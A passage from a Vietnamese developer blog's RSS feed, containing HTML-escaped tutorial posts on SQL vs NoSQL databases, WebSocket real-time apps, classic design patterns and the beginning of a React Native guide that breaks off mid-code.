    user_id UUID,
    event_time TIMESTAMP,
    event_type TEXT,
    data TEXT,
    PRIMARY KEY (user_id, event_time)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Scale ngang cực tốt, write throughput cao.
Nhược: Query pattern phải biết trước, không JOIN.&lt;/p&gt;
&lt;h3&gt;Graph (Neo4j)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-cypher&quot;&gt;MATCH (u:User {id: &apos;123&apos;})-[:FOLLOWS]-&gt;(f:User)-[:POSTED]-&gt;(p:Post)
RETURN p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ưu: Quan hệ phức tạp, recommendation, social graph.
Nhược: Không tốt cho simple CRUD.&lt;/p&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | SQL | NoSQL |
|---|---|---|
| Schema | Cố định, rigid | Linh hoạt, dynamic |
| ACID | Mạnh (full ACID) | Yếu hơn (tùy loại) |
| JOIN | Tốt, built-in | Không hoặc limited |
| Scale | Vertical (chính) | Horizontal (dễ) |
| Query | SQL chuẩn, mạnh | Tùy database |
| Consistency | Strong | Eventual (thường) |
| Maturity | Cao | Trung bình |&lt;/p&gt;
&lt;h2&gt;CAP Cho Database&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;SQL (PostgreSQL):  CP — ưu tiên Consistency
MongoDB:          CP (mặc định) hoặc AP
Cassandra:        AP — ưu tiên Availability
Redis:            CP (single node) hoặc AP (cluster)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Chọn SQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Dữ liệu có quan hệ chặt chẽ (user-order-product)&lt;/li&gt;
&lt;li&gt;Cần transaction (chuyển tiền, đặt hàng)&lt;/li&gt;
&lt;li&gt;Query phức tạp, nhiều JOIN&lt;/li&gt;
&lt;li&gt;Schema ổn định, ít thay đổi&lt;/li&gt;
&lt;li&gt;Consistency là ưu tiên hàng đầu&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Khi Nào Chọn NoSQL&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Schema thay đổi thường xuyên (MVP, poc)&lt;/li&gt;
&lt;li&gt;Cần scale ngang lớn (millions của users)&lt;/li&gt;
&lt;li&gt;Dữ liệu nested tự nhiên (JSON, document)&lt;/li&gt;
&lt;li&gt;Cache, session, real-time (Redis)&lt;/li&gt;
&lt;li&gt;Time-series data, event logging (Cassandra, InfluxDB)&lt;/li&gt;
&lt;li&gt;Social graph, recommendation (Neo4j)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Polyglot Persistence — Dùng Cả Hai&lt;/h2&gt;
&lt;p&gt;Nhiều hệ thống dùng nhiều database cho nhiều mục đích:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PostgreSQL → Dữ liệu chính (orders, users, products)
Redis      → Cache, session, rate limiting
MongoDB    → Content, bài viết, log
Elasticsearch → Full-text search
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không có luật nào cấm dùng cả SQL và NoSQL trong cùng project.&lt;/p&gt;
&lt;h2&gt;Migration từ SQL sang NoSQL&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// SQL: users table + orders table → JOIN
// NoSQL: embedded orders trong user document

// MongoDB
db.users.insertOne({
  name: &apos;Alice&apos;,
  orders: [
    { id: 1, total: 100, items: [&apos;laptop&apos;] },
    { id: 2, total: 50, items: [&apos;mouse&apos;] }
  ]
});

// Nếu orders quá nhiều → reference thay vì embed
db.users.findOne({ _id: &apos;user_123&apos; })
// Sau đó query orders riêng
db.orders.find({ user_id: &apos;user_123&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;SQL không chết, NoSQL không phải thần dược. Chọn theo:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Dữ liệu có quan hệ? → SQL&lt;/li&gt;
&lt;li&gt;Cần ACID? → SQL&lt;/li&gt;
&lt;li&gt;Cần scale ngang? → NoSQL&lt;/li&gt;
&lt;li&gt;Schema thay đổi liên tục? → NoSQL&lt;/li&gt;
&lt;li&gt;Phân tích real-time? → NoSQL (Cassandra, ClickHouse)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hay nhất: biết cả hai. Dự án thực tế thường dùng PostgreSQL + Redis.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.postgresql.org/docs/&quot;&gt;PostgreSQL Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.mongodb.com/docs/&quot;&gt;MongoDB Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/&quot;&gt;Redis Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cassandra.apache.org/doc/latest/&quot;&gt;Apache Cassandra Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.ibm.com/topics/cap-theorem&quot;&gt;CAP Theorem Explained&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>WebSocket Và Real-time — Chat, Notification, Live Data</title><link>https://dopana-blog.pages.dev/blog/websocket-realtime</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/websocket-realtime</guid><description>Xây dựng ứng dụng real-time với WebSocket: từ kết nối cơ bản đến scale hàng nghìn client.</description><pubDate>Wed, 08 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HTTP là request-response — client hỏi, server trả lời. WebSocket là kết nối 2 chiều, liên tục — cả hai đều có thể gửi bất kỳ lúc nào.&lt;/p&gt;
&lt;h2&gt;WebSocket vs HTTP&lt;/h2&gt;
&lt;p&gt;| HTTP | WebSocket |
|---|---|
| Client gửi request → Server trả response | Kết nối persistent, 2 chiều |
| Mở/kết nối mỗi request | Handshake 1 lần, giữ kết nối |
| Polling cho real-time (kém hiệu quả) | Push real-time tự nhiên |
| Header lớn mỗi request | Header nhỏ sau handshake |&lt;/p&gt;
&lt;h2&gt;WebSocket Cơ Bản&lt;/h2&gt;
&lt;h3&gt;Server (Node.js + ws)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { WebSocketServer } from &apos;ws&apos;;

const wss = new WebSocketServer({ port: 8080 });

wss.on(&apos;connection&apos;, (ws) =&gt; {
  console.log(&apos;Client connected&apos;);

  // Nhận message từ client
  ws.on(&apos;message&apos;, (data) =&gt; {
    console.log(&apos;Received:&apos;, data.toString());

    // Gửi lại cho client đó
    ws.send(`Echo: ${data}`);
  });

  // Gửi message chào
  ws.send(&apos;Welcome!&apos;);

  ws.on(&apos;close&apos;, () =&gt; {
    console.log(&apos;Client disconnected&apos;);
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Client&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const ws = new WebSocket(&apos;ws://localhost:8080&apos;);

ws.onopen = () =&gt; {
  console.log(&apos;Connected&apos;);
  ws.send(&apos;Hello server!&apos;);
};

ws.onmessage = (event) =&gt; {
  console.log(&apos;Server says:&apos;, event.data);
};

ws.onclose = () =&gt; {
  console.log(&apos;Disconnected&apos;);
};

ws.onerror = (error) =&gt; {
  console.error(&apos;Error:&apos;, error);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Broadcast — Gửi Đến Tất Cả Client&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;wss.on(&apos;connection&apos;, (ws) =&gt; {
  ws.on(&apos;message&apos;, (data) =&gt; {
    // Gửi cho tất cả client khác
    wss.clients.forEach((client) =&gt; {
      if (client !== ws &amp;#x26;&amp;#x26; client.readyState === WebSocket.OPEN) {
        client.send(data.toString());
      }
    });
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Rooms — Phòng Chat&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const rooms = new Map&amp;#x3C;string, Set&amp;#x3C;WebSocket&gt;&gt;();

function joinRoom(ws: WebSocket, room: string) {
  if (!rooms.has(room)) {
    rooms.set(room, new Set());
  }
  rooms.get(room)!.add(ws);
}

function broadcastToRoom(room: string, message: string, sender?: WebSocket) {
  const clients = rooms.get(room);
  if (!clients) return;

  clients.forEach((client) =&gt; {
    if (client.readyState === WebSocket.OPEN) {
      client.send(message);
    }
  });
}

// Usage
wss.on(&apos;connection&apos;, (ws) =&gt; {
  ws.on(&apos;message&apos;, (data) =&gt; {
    const { type, room, message } = JSON.parse(data.toString());

    switch (type) {
      case &apos;join&apos;:
        joinRoom(ws, room);
        break;
      case &apos;message&apos;:
        broadcastToRoom(room, message);
        break;
    }
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Scale WebSocket — Nhiều Server&lt;/h2&gt;
&lt;p&gt;Một server WebSocket không scale được — kết nối không share giữa các server.&lt;/p&gt;
&lt;h3&gt;Giải Pháp: Pub/Sub + Sticky Session&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Client A → Server 1 → Redis Pub/Sub → Server 2 → Client B
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { createClient } from &apos;redis&apos;;
import { WebSocketServer } from &apos;ws&apos;;

const redis = createClient();
const pub = redis.duplicate();
const sub = redis.duplicate();

// Subscribe để nhận message từ server khác
sub.subscribe(&apos;chat:messages&apos;, (message) =&gt; {
  // Broadcast đến client trên server này
  wss.clients.forEach((client) =&gt; {
    client.send(message);
  });
});

wss.on(&apos;connection&apos;, (ws) =&gt; {
  ws.on(&apos;message&apos;, (data) =&gt; {
    // Publish lên Redis — các server khác cũng nhận được
    pub.publish(&apos;chat:messages&apos;, data.toString());
    // Broadcast local
    // ...
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sticky session — đảm bảo client luôn kết nối cùng server (dùng IP hash cookie).&lt;/p&gt;
&lt;h2&gt;WebSocket với Bun&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;Bun.serve({
  port: 8080,
  fetch(req, server) {
    if (server.upgrade(req)) {
      return; // WebSocket upgrade
    }
    return new Response(&apos;Hello&apos;);
  },
  websocket: {
    open(ws) {
      ws.subscribe(&apos;chat&apos;); // Subscribe topic
    },
    message(ws, message) {
      ws.publish(&apos;chat&apos;, message); // Broadcast trong topic
    },
    close(ws) {
      ws.unsubscribe(&apos;chat&apos;);
    },
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bun WebSocket built-in — không cần thư viện, pub/sub tích hợp sẵn.&lt;/p&gt;
&lt;h2&gt;WebSocket Với Cloudflare Durable Objects&lt;/h2&gt;
&lt;p&gt;Durable Objects cho WebSocket real-time có state, scale global:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { DurableObject } from &apos;cloudflare:workers&apos;;

export class ChatRoom extends DurableObject {
  private sessions = new Map&amp;#x3C;string, WebSocket&gt;();

  async fetch(request: Request) {
    const pair = new WebSocketPair();
    const [client, server] = Object.values(pair);

    this.sessions.set(this.ctx.id.toString(), server);
    server.accept();

    server.addEventListener(&apos;message&apos;, (event) =&gt; {
      this.sessions.forEach((ws) =&gt; {
        ws.send(event.data);
      });
    });

    return new Response(null, { status: 101, webSocket: client });
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Auth WebSocket&lt;/h2&gt;
&lt;p&gt;Xác thực khi handshake:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;wss.on(&apos;connection&apos;, (ws, request) =&gt; {
  const token = new URL(request.url!, `http://${request.headers.host}`)
    .searchParams.get(&apos;token&apos;);

  if (!token || !verifyToken(token)) {
    ws.close(4001, &apos;Unauthorized&apos;);
    return;
  }

  const user = decodeToken(token);
  ws.userId = user.id;
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Client:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const ws = new WebSocket(&apos;ws://localhost:8080?token=abc123&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reconnection — Auto Retry&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class ReconnectingWebSocket {
  private ws: WebSocket | null = null;
  private url: string;
  private retries = 0;
  private maxRetries = 10;

  constructor(url: string) {
    this.url = url;
    this.connect();
  }

  connect() {
    this.ws = new WebSocket(this.url);

    this.ws.onclose = () =&gt; {
      if (this.retries &amp;#x3C; this.maxRetries) {
        const delay = Math.min(1000 * 2 ** this.retries, 30000);
        setTimeout(() =&gt; {
          this.retries++;
          this.connect();
        }, delay);
      }
    };

    this.ws.onopen = () =&gt; {
      this.retries = 0;
    };
  }

  send(data: string) {
    if (this.ws?.readyState === WebSocket.OPEN) {
      this.ws.send(data);
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng WebSocket?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Chat, messaging&lt;/li&gt;
&lt;li&gt;Live notifications&lt;/li&gt;
&lt;li&gt;Collaborative editing (Google Docs)&lt;/li&gt;
&lt;li&gt;Real-time dashboard, trading&lt;/li&gt;
&lt;li&gt;Multiplayer games&lt;/li&gt;
&lt;li&gt;Live streaming updates&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Không dùng WebSocket cho: CRUD API, request-response đơn giản — HTTP vẫn tốt hơn.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;WebSocket là công cụ mạnh cho real-time. Bắt đầu đơn giản với &lt;code&gt;ws&lt;/code&gt; (Node.js) hoặc built-in WebSocket của Bun. Scale với Redis Pub/Sub. Nhớ xử lý reconnection, auth, và heartbeat (ping/pong) để kết nối ổn định.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/WebSocket&quot;&gt;MDN WebSocket API&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/websockets/ws&quot;&gt;ws Library for Node.js&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs/api/websocket&quot;&gt;Bun WebSocket Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://redis.io/docs/latest/develop/interact/pubsub/&quot;&gt;Redis Pub/Sub Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/durable-objects/&quot;&gt;Cloudflare Durable Objects&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Design Patterns — 23 Patterns Cổ Điển Cho Developer Hiện Đại</title><link>https://dopana-blog.pages.dev/blog/design-patterns</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/design-patterns</guid><description>Các design pattern Gang of Four quan trọng: Singleton, Factory, Observer, Strategy và ứng dụng trong code thực tế.</description><pubDate>Tue, 07 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Design patterns là giải pháp cho các vấn đề lặp lại trong thiết kế phần mềm. Không phải code mẫu — mà là template giải quyết vấn đề.&lt;/p&gt;
&lt;h2&gt;Singleton — Chỉ Một Instance&lt;/h2&gt;
&lt;p&gt;Đảm bảo class chỉ có một instance duy nhất.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class Database {
  private static instance: Database;
  private constructor() {} // private constructor

  static getInstance(): Database {
    if (!Database.instance) {
      Database.instance = new Database();
    }
    return Database.instance;
  }

  query(sql: string) {
    console.log(`Executing: ${sql}`);
  }
}

// Usage
const db1 = Database.getInstance();
const db2 = Database.getInstance();
console.log(db1 === db2); // true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Connection pool, logger, config manager.&lt;/p&gt;
&lt;h2&gt;Factory Method — Tạo Object Mà Không Cần Biết Class&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface Notification {
  send(message: string): void;
}

class EmailNotification implements Notification {
  send(message: string) {
    console.log(`Email: ${message}`);
  }
}

class SMSNotification implements Notification {
  send(message: string) {
    console.log(`SMS: ${message}`);
  }
}

class NotificationFactory {
  static create(type: &apos;email&apos; | &apos;sms&apos;): Notification {
    switch (type) {
      case &apos;email&apos;: return new EmailNotification();
      case &apos;sms&apos;: return new SMSNotification();
    }
  }
}

// Usage
const notifier = NotificationFactory.create(&apos;email&apos;);
notifier.send(&apos;Hello!&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Logic tạo object phức tạp, muốn giấu implementation.&lt;/p&gt;
&lt;h2&gt;Observer — Publish/Subscribe&lt;/h2&gt;
&lt;p&gt;Khi object thay đổi, tất cả dependent object được thông báo.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface Observer {
  update(data: any): void;
}

class Subject {
  private observers: Observer[] = [];

  subscribe(observer: Observer) {
    this.observers.push(observer);
  }

  unsubscribe(observer: Observer) {
    this.observers = this.observers.filter(o =&gt; o !== observer);
  }

  notify(data: any) {
    this.observers.forEach(o =&gt; o.update(data));
  }
}

// Usage
class Logger implements Observer {
  update(data: any) {
    console.log(&apos;Log:&apos;, data);
  }
}

class EmailService implements Observer {
  update(data: any) {
    console.log(&apos;Sending email for:&apos;, data);
  }
}

const subject = new Subject();
subject.subscribe(new Logger());
subject.subscribe(new EmailService());
subject.notify({ event: &apos;user_created&apos;, id: 1 });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Event system, real-time update, React 상태 관리 (RxJS, Zustand).&lt;/p&gt;
&lt;h2&gt;Strategy — Algorithm Có Thể Swap&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface SortStrategy {
  sort(data: number[]): number[];
}

class BubbleSort implements SortStrategy {
  sort(data: number[]) {
    console.log(&apos;Bubble sort&apos;);
    return data.sort((a, b) =&gt; a - b);
  }
}

class QuickSort implements SortStrategy {
  sort(data: number[]) {
    console.log(&apos;Quick sort&apos;);
    return data.sort((a, b) =&gt; a - b);
  }
}

class Sorter {
  constructor(private strategy: SortStrategy) {}

  setStrategy(strategy: SortStrategy) {
    this.strategy = strategy;
  }

  sort(data: number[]) {
    return this.strategy.sort(data);
  }
}

// Usage
const sorter = new Sorter(new BubbleSort());
sorter.sort([3, 1, 2]);
sorter.setStrategy(new QuickSort());
sorter.sort([3, 1, 2]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Nhiều cách xử lý, muốn chọn linh hoạt (sort, compression, authentication).&lt;/p&gt;
&lt;h2&gt;Decorator — Thêm Chức Năng Mà Không Sửa Class&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface Coffee {
  cost(): number;
  description(): string;
}

class SimpleCoffee implements Coffee {
  cost() { return 10; }
  description() { return &apos;Coffee&apos;; }
}

class MilkDecorator implements Coffee {
  constructor(private coffee: Coffee) {}

  cost() { return this.coffee.cost() + 3; }
  description() { return this.coffee.description() + &apos; + Milk&apos;; }
}

class SugarDecorator implements Coffee {
  constructor(private coffee: Coffee) {}

  cost() { return this.coffee.cost() + 1; }
  description() { return this.coffee.description() + &apos; + Sugar&apos;; }
}

// Usage
let coffee: Coffee = new SimpleCoffee();
coffee = new MilkDecorator(coffee);
coffee = new SugarDecorator(coffee);
console.log(coffee.description()); // Coffee + Milk + Sugar
console.log(coffee.cost());        // 14
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Cần thêm chức năng linh hoạt, tránh class explosion (quá nhiều subclass).&lt;/p&gt;
&lt;h2&gt;Adapter — Kết Nối Hai Interface Khác Nhau&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;class OldAPI {
  getUser(id: number): string {
    return `User{id=${id}}`;
  }
}

interface NewAPI {
  fetchUser(id: number): { id: number; name: string };
}

class UserAdapter implements NewAPI {
  constructor(private oldApi: OldAPI) {}

  fetchUser(id: number) {
    const data = this.oldApi.getUser(id);
    return { id, name: data };
  }
}

// Usage
const adapter = new UserAdapter(new OldAPI());
const user = adapter.fetchUser(1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Legacy code integration, third-party library wrapper.&lt;/p&gt;
&lt;h2&gt;Repository — Abstraction Cho Data Layer&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;interface UserRepository {
  findById(id: number): Promise&amp;#x3C;User | null&gt;;
  save(user: User): Promise&amp;#x3C;void&gt;;
  delete(id: number): Promise&amp;#x3C;void&gt;;
}

class PostgresUserRepository implements UserRepository {
  async findById(id: number) {
    return db.query(&apos;SELECT * FROM users WHERE id = $1&apos;, [id]);
  }

  async save(user: User) {
    return db.query(&apos;INSERT INTO users VALUES ($1, $2)&apos;, [user.id, user.name]);
  }

  async delete(id: number) {
    return db.query(&apos;DELETE FROM users WHERE id = $1&apos;, [id]);
  }
}

class UserService {
  constructor(private repo: UserRepository) {}

  async getUser(id: number) {
    const user = await this.repo.findById(id);
    if (!user) throw new Error(&apos;User not found&apos;);
    return user;
  }
}

// Dễ dàng đổi database
const repo = new PostgresUserRepository();
// const repo = new MongoUserRepository();
const service = new UserService(repo);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng khi: Dependency injection, dễ test (mock repo), dễ đổi database.&lt;/p&gt;
&lt;h2&gt;Dependency Injection — Đừng New, Hãy Nhận&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — hardcode dependency
class OrderService {
  private logger = new ConsoleLogger();
  private email = new SmtpEmailService();
}

// ✅ Tốt — inject dependency
class OrderService {
  constructor(
    private logger: Logger,
    private email: EmailService,
  ) {}
}

// DI Container (ví dụ đơn giản)
class Container {
  private services = new Map&amp;#x3C;string, any&gt;();

  register(name: string, instance: any) {
    this.services.set(name, instance);
  }

  resolve&amp;#x3C;T&gt;(name: string): T {
    return this.services.get(name);
  }
}

const container = new Container();
container.register(&apos;logger&apos;, new ConsoleLogger());
container.register(&apos;email&apos;, new SmtpEmailService());

const orderService = new OrderService(
  container.resolve(&apos;logger&apos;),
  container.resolve(&apos;email&apos;),
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Khi Nào Dùng Pattern?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Không dùng pattern vì nó &quot;sạch&quot; — pattern có chi phí&lt;/li&gt;
&lt;li&gt;Pattern giải quyết vấn đề cụ thể — nếu không có vấn đề, đừng pattern&lt;/li&gt;
&lt;li&gt;Code đơn giản &gt; Code pattern — pattern là công cụ, không phải mục tiêu&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;23 patterns trong GoF, bạn chỉ thực sự cần khoảng 5-7:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Singleton, Factory, Repository — hầu như project nào cũng dùng&lt;/li&gt;
&lt;li&gt;Observer, Strategy — event handling, algorithm selection&lt;/li&gt;
&lt;li&gt;Adapter, Decorator — integration, mở rộng&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Học pattern để có từ vựng giao tiếp với đồng nghiệp: &quot;Chỗ này dùng Observer&quot;, &quot;Refactor theo Strategy pattern&quot;. Quan trọng nhất: hiểu vấn đề pattern giải quyết, không phải nhớ code mẫu.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Design_Patterns&quot;&gt;Design Patterns: Elements of Reusable Software (GoF)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://refactoring.guru/design-patterns&quot;&gt;Refactoring Guru — Design Patterns Catalog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://sourcemaking.com/design_patterns&quot;&gt;SourceMaking — Design Patterns&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>React Native — Xây Dựng Mobile App Từ Một Codebase</title><link>https://dopana-blog.pages.dev/blog/react-native</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/react-native</guid><description>React Native cơ bản: navigation, state management, native modules, performance optimization và deploy lên App Store.</description><pubDate>Mon, 06 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;React Native cho phép xây dựng iOS và Android từ một codebase JavaScript/TypeScript. Không phải &quot;web view&quot; — nó dùng native components thật.&lt;/p&gt;
&lt;h2&gt;React Native vs Flutter&lt;/h2&gt;
&lt;p&gt;| | React Native | Flutter |
|---|---|---|
| Language | JavaScript/TypeScript | Dart |
| UI | Native components | Custom canvas (Skia) |
| Performance | Bridge (JSI mới) | Native (compiled) |
| Ecosystem | Lớn, nhiều thư viện | Đang phát triển |
| Hot reload | ✅ | ✅ |
| Bundle size | ~10MB | ~15MB |&lt;/p&gt;
&lt;h2&gt;Setup&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Dùng Expo (khuyến nghị)
npx create-expo-app my-app --template blank-typescript
cd my-app
npx expo start

# Hoặc React Native CLI
npx @react-native-community/cli init MyApp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Components Cơ Bản&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { View, Text, StyleSheet, ScrollView, TouchableOpacity } from &apos;react-native&apos;;

export default function App() {
  return (
    &amp;#x3C;SafeAreaView style={styles.container}&gt;
      &amp;#x3C;ScrollView&gt;
        &amp;#x3C;View style={styles.header}&gt;
          &amp;#x3C;Text style={styles.title}&gt;Hello, Mobile!&amp;#x3C;/Text&gt;
          &amp;#x3C;Text style={styles.subtitle}&gt;Welcome to React Native&amp;#x3C;/Text&gt;
        &amp;#x3C;/View&gt;

        &amp;#x3C;TouchableOpacity style={styles.button} onPress={() =&gt; alert(&apos;Pressed!&apos;)}&gt;
          &amp;#x3C;Text style={styles.buttonText}&gt;Press Me&amp;#x3C;/Text&gt;
        &amp;#x3C;/TouchableOpacity&gt;
      &amp;#x3C;/ScrollView&gt;
    &amp;#x3C;/SafeAreaView&gt;
  );
}

const styles = StyleSheet.create({
  container: {
    flex: 1,
    backgroundColor: &apos;#fff&apos;,
  },
  header: {
    padding: 24,
    alignItems: &apos;center&apos;,
  },
  title: {
    fontSize: 28,
    fontWeight: &apos;bold&apos;,
    color: &apos;#1a1a1a&apos;,
  },
  subtitle: {
    fontSize: 16,
    color: &apos;#666&apos;,
    marginTop: 8,
  },
  button: {
    backgroundColor: &apos;#007AFF&apos;,
    paddingVertical: 14,
    paddingHorizontal: 32,
    borderRadius: 12,
    marginHorizontal: 24,
    alignItems: &apos;center&apos;,
  },
  buttonText: {
    color: &apos;#fff&apos;,
    fontSize: 16,
    fontWeight: &apos;600&apos;,
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Navigation&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { NavigationContainer } from &apos;@react-navigation/native&apos;;
import { createNativeStackNavigator } from &apos;@react-navigation/native-stack&apos;;
import { createBottomTabNavigator } from &apos;@react-navigation/bottom-tabs&apos;;

type RootStackParamList = {
  Home: undefined;
  Profile: { userId: number };
  Settings: undefined;
};

const Stack = createNativeStackNavigator&amp;#x3C;RootStackParamList&gt;();
const Tab = createBottomTabNavigator();

function HomeStack() {
  return (
    &amp;#x3C;Stack.Navigator&gt;
      &amp;#x3C;Stack.Screen name=&quot;Home&quot; component={HomeScreen} /&gt;
      &amp;#x3C;Stack.Screen name=&quot;Profile&quot; component={ProfileScreen} /&gt;
    &amp;#x3C;/Stack.Navigator&gt;
  );
}

export default function App() {
  return (
    &amp;#x3C;NavigationContainer&gt;
      &amp;#x3C;Tab.Navigator&gt;
        &amp;#x3C;Tab.Screen name=&quot;Home&quot; component={HomeStack} /&gt;
        &amp;#x3C;Tab.Screen name=&quot;Settings&quot; component={SettingsScreen} /&gt;
      &amp;#x3C;/Tab.Navigator&gt;
    &amp;#x3C;/NavigationContainer&gt;
  );
}

function ProfileScreen({ route, navigation }: any) {
  const { userId } = route.params;

  return (
    &amp;#x3C;View&gt;
      &amp;#x3C;Text&gt;User ID: {userId}&amp;#x3C;/Text&gt;
      &amp;#x3C;Button title=&quot;Go Back&quot; onPress={() =&gt; navigation.goBack()} /&gt;
    &amp;#x3C;/View&gt;
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;State Management (Zustand)&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-tsx&quot;&gt;import { create } from &apos;zustand&apos;;
import { persist } from &apos;zustand/middleware&apos;;
import AsyncStorage from &apos;@react-native-async-storage/async-storage&apos;;

interface AuthStore {
  user: User | null;
  token: string | null;
